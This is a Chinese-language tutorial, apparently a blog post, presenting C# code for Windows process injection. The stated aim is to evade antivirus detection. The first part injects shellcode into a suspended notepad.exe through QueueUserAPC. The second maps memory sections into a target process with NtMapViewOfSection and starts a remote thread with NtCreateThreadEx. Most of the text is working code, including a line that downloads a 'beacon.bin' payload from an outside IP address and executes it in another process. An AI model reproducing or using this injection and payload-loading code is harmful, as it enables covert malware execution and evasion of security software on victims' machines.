0X00 前言
在实际环境中CreateRemoteThread
会被诸如Windows Defender等各大杀软严格检测拦截。QueueUserAPC
和NtMapViewOfSection
是我们可以用来在进程中执行shellcode的另外两种方式。
0x01 QueueUserAPC
对于QueueUserAPC
,这里主要有两种利用方式:
1.生成处于挂起状态的进程,在主线程上对APC进行排队并继续。
2.枚举现有进程的线程,并在其中一个线程上对APC进行排队。(等待该线程进入alert状态或
强制该线程进入alert状态),而创建进程则是最为直接的方式
如前所述创建一个进程,但传递CREATE_SUSPENDED
标志。如果进程无法启动,只需抛出一个异常即可。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
var si = new Win32.STARTUPINFO();
si.cb = Marshal.SizeOf(si);
var pa = new Win32.SECURITY_ATTRIBUTES();
pa.nLength = Marshal.SizeOf(pa);
var ta = new Win32.SECURITY_ATTRIBUTES();
ta.nLength = Marshal.SizeOf(ta);
var pi = new Win32.PROCESS_INFORMATION();
var success = Win32.CreateProcessW(
"C:\\Windows\\System32\\notepad.exe",
null,
ref ta,
ref pa,
false,
0x00000004, // CREATE_SUSPENDED
IntPtr.Zero,
"C:\\Windows\\System32",
ref si,
out pi);
// 如果无法创建,抛出异常
if (!success)
throw new Win32Exception(Marshal.GetLastWin32Error());
获取shellcode并将其写入目标进程。调用QueueUserAPC API
。为它提供shellcode在内存中的位置和进程主线程的句柄。
1
2
3
4
5
// APC排队
Win32.QueueUserAPC(
baseAddress, // shellcode位置
pi.hThread, // 进程的主线程
0);
恢复进程
1
2
// 恢复进程
Win32.ResumeThread(pi.hThread);
0x02 NtMapViewOfSection
NtMapViewOfSectionAPI
集为VirtualAllocEx
、WriteProcessMemory
和VirtualProtectEx
提供了一个很好的替代方案。但是使用这些较低级别的本地API的最大挑战是它们没有正式文档,因此我们只能在ntdll.dll
上进行逆向工程来努力找出它们。可以参考网上这份文档。
获取shellcode并在当前流程中创建一个新的section。这个section必须与shellcode一样大。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
var shellcode = await client.GetByteArrayAsync("https://192.168.2.151/beacon.bin");
var hSection = IntPtr.Zero;
var maxSize = (ulong)shellcode.Length;
//在当前进程中创建新section
Native.NtCreateSection(
ref hSection,
0x10000000, // SECTION_ALL_ACCESS
IntPtr.Zero,
ref maxSize,
0x40, // PAGE_EXECUTE_READWRITE
0x08000000, // SEC_COMMIT
IntPtr.Zero);
将该section的view映射到当前进程的内存中。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
// 将该section以RW映射到当前进程的内存中
Native.NtMapViewOfSection(
hSection,
(IntPtr)(-1),
out var localBaseAddress,
IntPtr.Zero,
IntPtr.Zero,
IntPtr.Zero,
out var _,
2, // ViewUnmap (创建的view不会被子进程继承)
0,
0x04); // PAGE_READWRITE
// 将shellcode复制到我们自己进程的内存中
Marshal.Copy(shellcode, 0, localBaseAddress, shellcode.Length);
获取目标进程的句柄并将同一section映射到其中。这将自动将shellcode从当前进程复制到目标
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
// 获取目标进程的reference
var target = Process.GetProcessById(4148);
//将该区域作为RX映射到目标进程中
Native.NtMapViewOfSection(
hSection,
target.Handle,
out var remoteBaseAddress,
IntPtr.Zero,
IntPtr.Zero,
IntPtr.Zero,
out _,
2,
0,
0x20); // PAGE_EXECUTE_READ
创建一个新的远程线程来执行shellcode
1
2
3
4
5
6
7
8
9
10
11
12
13
// 执行目标进程中的shellcode
Native.NtCreateThreadEx(
out _,
0x001F0000, // STANDARD_RIGHTS_ALL
IntPtr.Zero,
target.Handle,
remoteBaseAddress,
IntPtr.Zero,
false,
0,
0,
0,
IntPtr.Zero);
0x03 小结
本文继续介绍了进程注入的知识。综合两篇文章,我们可以混合和匹配它们来创建自己的注入样式。例如,我们可以生成处于挂起状态的进程,使用NtMapViewOfSectionAPI映射和复制shellcode,然后QueueUserAPC或NtQueueApcThread执行它。